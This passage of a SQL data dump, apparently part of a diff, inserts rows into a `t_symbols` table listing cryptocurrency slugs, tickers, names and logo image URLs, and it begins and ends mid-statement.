`t_symbols` VALUES (1421, 'myriad', 'XMY', 'Myriad', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/myriad.png', NULL); +INSERT INTO `t_symbols` VALUES (1422, 'databits', 'DTB', 'Databits', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/databits.png', NULL); +INSERT INTO `t_symbols` VALUES (1423, 'ofcoin', 'OF', 'Ofcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ofcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1424, 'rom', 'ROM', 'ROMToken', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/rom.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1425, 'digix-gold-token', 'DGX', 'Digix Gold', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/digix-gold-token.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1426, 'seed', 'SEED', 'seed', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/seed.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1427, 'chads-vc', 'CHADS', 'CHADS VC', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/chads-vc.png', NULL); +INSERT INTO `t_symbols` VALUES (1428, 'akropolis', 'AKRO', 'Akropolis', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/3b2d7b7c70c7be4faece2ccb1d8f1dca.png', NULL); +INSERT INTO `t_symbols` VALUES (1429, 'mallcoin', 'MLC', 'Mallcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mallcoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1430, 'asiadigicoin', 'ADCN', 'Asiadigicoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/OfficialADCN.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1431, 'betterbetting', 'BETR', 'BetterBetting', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/betterbetting.png', NULL); +INSERT INTO `t_symbols` VALUES (1432, 'pocmon', 'PMON', 'PocMon-Old', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/pocmon.png', NULL); +INSERT INTO `t_symbols` VALUES (1433, 'cspian', 'CSP', 'Caspian', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cspian.png', NULL); +INSERT INTO `t_symbols` VALUES (1434, 'deephealthtoken', 'DHT', 'Deep Health Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/deephealthtoken.png', NULL); +INSERT INTO `t_symbols` VALUES (1435, 'moonlight-lux', 'LX', 'Moonlight Lux', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/moonlight-lux.png', NULL); +INSERT INTO `t_symbols` VALUES (1436, 'q-dao-governance-token', 'QDAO', 'Q DAO Governance token v1.0', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/qdao.png', NULL); +INSERT INTO `t_symbols` VALUES (1437, 'spartan-protocol-token', 'SPARTA', 'Spartan Protocol', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/spartan-protocol-token.png', NULL); +INSERT INTO `t_symbols` VALUES (1438, 'tarush', 'TAS', 'TARUSH', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tarush.png', NULL); +INSERT INTO `t_symbols` VALUES (1439, 'crypto-sports', 'CSPN', 'Crypto Sports', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/crypto-sports.png', NULL); +INSERT INTO `t_symbols` VALUES (1440, 'bread', 'BRD', 'Bread', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bread.png', NULL); +INSERT INTO `t_symbols` VALUES (1441, 'html-coin', 'HTML', 'HTMLCOIN', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/html-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (1442, 'xbr', 'XBR', 'xbr', NULL, NULL); +INSERT INTO `t_symbols` VALUES (1443, 'proxeus', 'XES', 'Proxeus', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/proxeus.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1444, 'ion', 'ION', 'Ion', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ion.png', NULL); +INSERT INTO `t_symbols` VALUES (1445, 'constant', 'CONST', 'constant', NULL, NULL); +INSERT INTO `t_symbols` VALUES (1446, 'crycash', 'CRC', 'CRYCASH', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/crycash.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1447, 'gst', 'GST', 'Green Satoshi Token (ETH)', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gst.png', NULL); +INSERT INTO `t_symbols` VALUES (1448, 'dprating', 'RATING', 'DPRating', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dprating.png', NULL); +INSERT INTO `t_symbols` VALUES (1449, 'humaniq', 'HMQ', 'Humaniq', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/humaniq.png', NULL); +INSERT INTO `t_symbols` VALUES (1450, 'honest', 'HNST', 'Honest', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/honest.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1451, 'paypie', 'PPP', 'PayPie', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/paypie.png', NULL); +INSERT INTO `t_symbols` VALUES (1452, 'ul', 'UL', 'Uselink', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ul.png', NULL); +INSERT INTO `t_symbols` VALUES (1453, 'zenlink', 'ZLK', 'Zenlink Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/zenlink.png', NULL); +INSERT INTO `t_symbols` VALUES (1454, 'globalboost-y', 'BSTY', 'GlobalBoost-Y', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/globalboost-y.png', NULL); +INSERT INTO `t_symbols` VALUES (1455, 'piplcoin', 'PIPL', 'PiplCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/piplcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1456, 'poseidonnetwork', 'QQQ', 'Poseidon Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/poseidonnetwork.png', NULL); +INSERT INTO `t_symbols` VALUES (1457, 'hackspace-capital', 'HAC', 'Hackspace Capital', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hackspace-capital.png', NULL); +INSERT INTO `t_symbols` VALUES (1458, 'uplexa', 'UPX', 'uPlexa', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/uplexa.png', NULL); +INSERT INTO `t_symbols` VALUES (1459, 'real', 'REAL', 'REAL', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/real_token.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1460, 'ipweb', 'IPWT', 'IPWeb', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ipweb.png', NULL); +INSERT INTO `t_symbols` VALUES (1461, 'worldcoin', 'WDC', 'WorldCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/worldcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1462, 'sessia', 'KICKS', 'Sessia', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/sessia.png', NULL); +INSERT INTO `t_symbols` VALUES (1463, 'nix', 'NIX', 'NIX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/nix.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1464, 'sharpay', 'S', 'Sharpay', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/sharpay.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1465, 'daps', 'DAPS', 'DAPS Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/daps.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1466, 'fidextoken', 'FEX', 'FIDEX Exchange', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/fidextoken.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1467, 'vidycoin', 'VIDY', 'VIDY', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/14b1c6080c07e49b86cc06615267c722.png', NULL); +INSERT INTO `t_symbols` VALUES (1468, 'kolion', 'KLN', 'Kolion', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/michael_077.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1469, 'on-live', 'ONL', 'On.Live', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/on-live.png', NULL); +INSERT INTO `t_symbols` VALUES (1470, 'cryptoping', 'PING', 'CryptoPing', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cryptoping.png', NULL); +INSERT INTO `t_symbols` VALUES (1471, 'bavala', 'BVA', 'Bavala', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bavala.png', NULL); +INSERT INTO `t_symbols` VALUES (1472, 'level-up', 'LUC', 'Level-Up Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/level-up.png', NULL); +INSERT INTO `t_symbols` VALUES (1473, 'relevant', 'REL', 'Relevant', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/relevant.png', NULL); +INSERT INTO `t_symbols` VALUES (1474, 'allive', 'ALV', 'Allive', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/ea452d9c4697559d31cb2c1a56c40820.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1475, 'league-of-ancients', 'LOA', 'League of Ancients', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/league-of-ancients.png', NULL); +INSERT INTO `t_symbols` VALUES (1476, 'titcoin', 'TIT', 'Titcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/titcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1477, 'idealcash', 'DEAL', 'iDealCash', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/idealcash.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1478, 'pton', 'PTON', 'PTON', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/pton.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1479, 'master-contract-token', 'MCT', 'Master Contract Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/master-contract-token.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1480, 'smartcash', 'SMART', 'SmartCash', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/smartcash.png', NULL); +INSERT INTO `t_symbols` VALUES (1481, 'evimeria', 'EVI', 'Evimeria', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/evimeria.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1482, 'centurion', 'CNT', 'Centurion', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/centurion.png', NULL); +INSERT INTO `t_symbols` VALUES (1483, 'iconiq-lab-token', 'ICNQ', 'Deutsche Digital Assets', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/iconiq-lab-token.png', NULL); +INSERT INTO `t_symbols` VALUES (1484, 'sum', 'SUM', 'sum', NULL, NULL); +INSERT INTO `t_symbols` VALUES (1485, 'compound-coin', 'COMP', 'Compound Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/CompoundCoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1486, 'swerve-dao', 'SWRV', 'Swerve', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/swerve-dao.png', NULL); +INSERT INTO `t_symbols` VALUES (1487, 'hbrs', 'HB1', 'HubrisOne', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hbrs.png', NULL); +INSERT INTO `t_symbols` VALUES (1488, 'orient-walt', 'HTDF', 'Orient Walt', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/orient-walt.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (1489, 'cpollo', 'CPLO', 'Cpollo', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cpollo.png', NULL); +INSERT INTO `t_symbols` VALUES (1490, 'bmj-coin', 'BMJ', 'BMJ Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bmj-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (1491, 'life', 'LIFE', 'Life Crypto', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/life.png', NULL); +INSERT INTO `t_symbols` VALUES (1492, 'pantheon-x', 'XPN', 'PANTHEON X', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/d56f41101eca053101dd868d120ef5f8.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1493, 'aryacoin', 'AYA', 'Aryacoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/aryacoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1494, 'terra', 'KRT', 'TerraKRW', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/terra.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (1495, 'commerce-data-connection', 'CDC', 'CDC Foundation', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/commerce-data-connection.png', NULL); +INSERT INTO `t_symbols` VALUES (1496, 'seer', 'SEER', 'Seer', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/info_seer.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1497, 'quanta-network-token-utility', 'QNTU', 'quanta-network-token-utility', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/quanta-network-token-utility.png', NULL); +INSERT INTO `t_symbols` VALUES (1498, 'zap', 'ZAP', 'Zap', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/zap.png', NULL); +INSERT INTO `t_symbols` VALUES (1499, 'ros', 'ROS', 'ros', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ros.png', NULL); +INSERT INTO `t_symbols` VALUES (1500, 'genesis-vision', 'GVT', 'Genesis Vision', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/genesis-vision.png', NULL); +INSERT INTO `t_symbols` VALUES (1501, 'meetone', 'MEETONE', 'MEET.ONE', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/meetone.png', NULL); +INSERT INTO `t_symbols` VALUES (1502, 'graft', 'GRFT', 'Graft Blockchain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/graft.png', NULL); +INSERT INTO `t_symbols` VALUES (1503, 'stableusd', 'USDS', 'Stably USD', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/stableusd.png', NULL); +INSERT INTO `t_symbols` VALUES (1504, 'cofix', 'COFI', 'CoFiX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cofix.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (1505, 'monetaryunit', 'MUE', 'MonetaryUnit', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/monetaryunit.png', NULL); +INSERT INTO `t_symbols` VALUES (1506, 'stealth', 'XST', 'Stealth', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/stealth.png', NULL); +INSERT INTO `t_symbols` VALUES (1507, 'cryptoflow', 'CFL', 'Cryptoflow', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cryptoflow.png', NULL); +INSERT INTO `t_symbols` VALUES (1508, 'euno', 'EUNO', 'EUNO', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/euno.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1509, 'cat-token', 'CAT', 'Mooncat CAT', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cat-token.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (1510, 'flypme', 'FYP', 'FlypMe', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/flypme.png', NULL); +INSERT INTO `t_symbols` VALUES (1511, 'gather', 'GTH', 'Gather', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gather.png', NULL); +INSERT INTO `t_symbols` VALUES (1512, 'veil-project', 'VEIL', 'VEIL', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/veil-project.png', NULL); +INSERT INTO `t_symbols` VALUES (1513, 'moin', 'MOIN', 'Moin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/moin.png', NULL); +INSERT INTO `t_symbols` VALUES (1514, 'renzec', 'RENZEC', 'renZEC', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/renzec.png', NULL); +INSERT INTO `t_symbols` VALUES (1515, 'snl', 'SNL', 'Sport and Leisure', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/snl.png', NULL); +INSERT INTO `t_symbols` VALUES (1516, 'okcash', 'OK', 'Okcash', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/okcash.png', NULL); +INSERT INTO `t_symbols` VALUES (1517, 'copytrack', 'CPY', 'Copytrack', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/copytrack.png', NULL); +INSERT INTO `t_symbols` VALUES (1518, 'plotx', 'PLOT', 'PlotX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/plotx.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (1519, 'aurigami', 'PLY', 'Aurigami', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/aurigami.png', NULL); +INSERT INTO `t_symbols` VALUES (1520, 'sekuritance', 'SKRT', 'Sekuritance', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/sekuritance.png', NULL); +INSERT INTO `t_symbols` VALUES (1521, 'yfdai-finance', 'YF-DAI', 'YfDAI.finance', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/yfdai-finance.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (1522, 'exmo-coin', 'EXM', 'EXMO Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/exmo-coin.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (1523, 'gse', 'GSE', 'GSENetwork', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gse.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1524, 'blockchain-of-hash-power', 'BHP', 'Blockchain of Hash Power', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/blockchain-of-hash-power.png', NULL); +INSERT INTO `t_symbols` VALUES (1525, 'white-standard', 'WSD', 'White Standard', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/white-standard.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1526, 'pesetacoin', 'PTC', 'Pesetacoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/pesetacoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1527, 'synchrobitcoin', 'SNB', 'SynchroBitcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/synchrobitcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1528, 'bkc', 'BKC', 'bkc', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bkc.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1529, 'octofi', 'OCTO', 'OctoFi', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/octofi.png', NULL); +INSERT INTO `t_symbols` VALUES (1530, 'dmarket', 'DMT', 'DMarket', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dmarket.png', NULL); +INSERT INTO `t_symbols` VALUES (1531, 'karbo', 'KRB', 'Karbo', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/karbo.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1532, 'bibox-token', 'BIX', 'Bibox', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bibox-token.png', NULL); +INSERT INTO `t_symbols` VALUES (1533, 'drp-utility', 'DRPU', 'DRP Utility', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/drp-utility.png', NULL); +INSERT INTO `t_symbols` VALUES (1534, 'project-pai', 'PAI', 'Project Pai', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/project-pai.png', NULL); +INSERT INTO `t_symbols` VALUES (1535, 'xdai-stake', 'STAKE', 'STAKE', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/xdai-stake.png', NULL); +INSERT INTO `t_symbols` VALUES (1536, 'kcash', 'KCASH', 'Kcash', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/kcash.png', NULL); +INSERT INTO `t_symbols` VALUES (1537, 'yf-link', 'YFL', 'YF Link', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/yf-link.png', NULL); +INSERT INTO `t_symbols` VALUES (1538, 'vibe', 'VIBE', 'VIBE', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/VibeHubVR.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1539, 'eosbet', 'BET', 'EarnBet', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/eosbet.png', NULL); +INSERT INTO `t_symbols` VALUES (1540, 'fantomcoin', 'FCN', 'Fantomcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/fantomcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1541, 'hyper-speed-network', 'HSN', 'Hyper Speed Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hyper-speed-network.png', NULL); +INSERT INTO `t_symbols` VALUES (1542, 'release-coin', 'REL', 'RELEASE', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/release-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (1543, 'globatalent', 'GBT', 'Globatalent', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/globatalent.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1544, 'swarm-fund', 'SWM', 'Swarm Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/swarm-fund.png', NULL); +INSERT INTO `t_symbols` VALUES (1545, 'eos-coin', 'EOSC', 'EOSForce', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/eos-coin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1546, 'chainport', 'PORTX', 'ChainPort', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/chainport.png', NULL); +INSERT INTO `t_symbols` VALUES (1547, 'zclassic', 'ZCL', 'Zclassic', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/zclassic.png', NULL); +INSERT INTO `t_symbols` VALUES (1548, 'tonarts', 'TAT', 'TonArts Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tonarts.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1549, 'scryinfo', 'DDD', 'Scry.info', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/scryinfo.png', NULL); +INSERT INTO `t_symbols` VALUES (1550, 'peculium', 'PCL', 'Peculium', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/peculium.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1551, 'metasoccer', 'MSU', 'MetaSoccer', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/metasoccer.png', NULL); +INSERT INTO `t_symbols` VALUES (1552, 'buck', 'BUCK', 'BUCK', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/buck.png', NULL); +INSERT INTO `t_symbols` VALUES (1553, 'smoothy', 'SMTY', 'Smoothy', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/smoothy.png', NULL); +INSERT INTO `t_symbols` VALUES (1554, 'nebulas-token', 'NAS', 'Nebulas', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/nebulas-token.png', NULL); +INSERT INTO `t_symbols` VALUES (1555, 'pbtc35a', 'PBTC35A', 'pBTC35A', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/pbtc35a.png', NULL); +INSERT INTO `t_symbols` VALUES (1556, 'ucash', 'UCASH', 'U.CASH', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ucash.png', NULL); +INSERT INTO `t_symbols` VALUES (1557, 'stem-cell-coin', 'SCC', 'Stem Cell Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/stem-cell-coin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1558, 'high-performance-blockchain', 'HPB', 'High Performance Blockchain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/high-performance-blockchain.png', NULL); +INSERT INTO `t_symbols` VALUES (1559, 'zeitcoin', 'ZEIT', 'Zeitcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/zeitcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1560, 'geodb', 'GEO', 'GeoDB', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/geodb.png', NULL); +INSERT INTO `t_symbols` VALUES (1561, 'arqma', 'ARQ', 'ArQmA', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/arqma.png', NULL); +INSERT INTO `t_symbols` VALUES (1562, 'wandx', 'WAND', 'WandX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/wandx.png', NULL); +INSERT INTO `t_symbols` VALUES (1563, 'oechain', 'OEC', 'oechain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/oechain.png', NULL); +INSERT INTO `t_symbols` VALUES (1564, 'scorum-coins', 'SCR', 'Scorum Coins', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/SCORUM_en.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1565, 'nexium', 'NXC', 'Nexium', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/nexium.png', NULL); +INSERT INTO `t_symbols` VALUES (1566, 'ghostprism', 'GHOST', 'GHOSTPRISM', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ghostprism.png', NULL); +INSERT INTO `t_symbols` VALUES (1567, 'true-chain', 'TRUE', 'TrueChain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/true-chain.png', NULL); +INSERT INTO `t_symbols` VALUES (1568, 'digitalbits', 'XDB', 'DigitalBits', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/digitalbits.png', NULL); +INSERT INTO `t_symbols` VALUES (1569, 'franklin', 'FLY', 'Franklin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/franklin.png', NULL); +INSERT INTO `t_symbols` VALUES (1570, 'mof', 'MOF', 'Molecular Future', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mof.png', NULL); +INSERT INTO `t_symbols` VALUES (1571, 'tokes', 'TKS', 'Tokes', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tokes.png', NULL); +INSERT INTO `t_symbols` VALUES (1572, 'win-win', 'TWINS', 'win.win', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/win-win.png', NULL); +INSERT INTO `t_symbols` VALUES (1573, 'ezw', 'EZW', 'EZOOW', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ezw.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1574, 'raiden-network-token', 'RDN', 'Raiden Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/raiden-network-token.png', NULL); +INSERT INTO `t_symbols` VALUES (1575, 'global-social-chain', 'GSC', 'Global Social Chain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/global-social-chain.png', NULL); +INSERT INTO `t_symbols` VALUES (1576, 'hive-project', 'HVN', 'Hiveterminal', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hive-project.png', NULL); +INSERT INTO `t_symbols` VALUES (1577, 'hx', 'HX', 'HyperExchange', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hx.png', NULL); +INSERT INTO `t_symbols` VALUES (1578, 'maverick-chain', 'MVC', 'Maverick Chain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/maverick-chain.png', NULL); +INSERT INTO `t_symbols` VALUES (1579, 'pluscoin', 'PLC', 'PlusCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/pluscoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1580, 'polyient-games-governance-token', 'PGT', 'Polyient Games Governance Token', 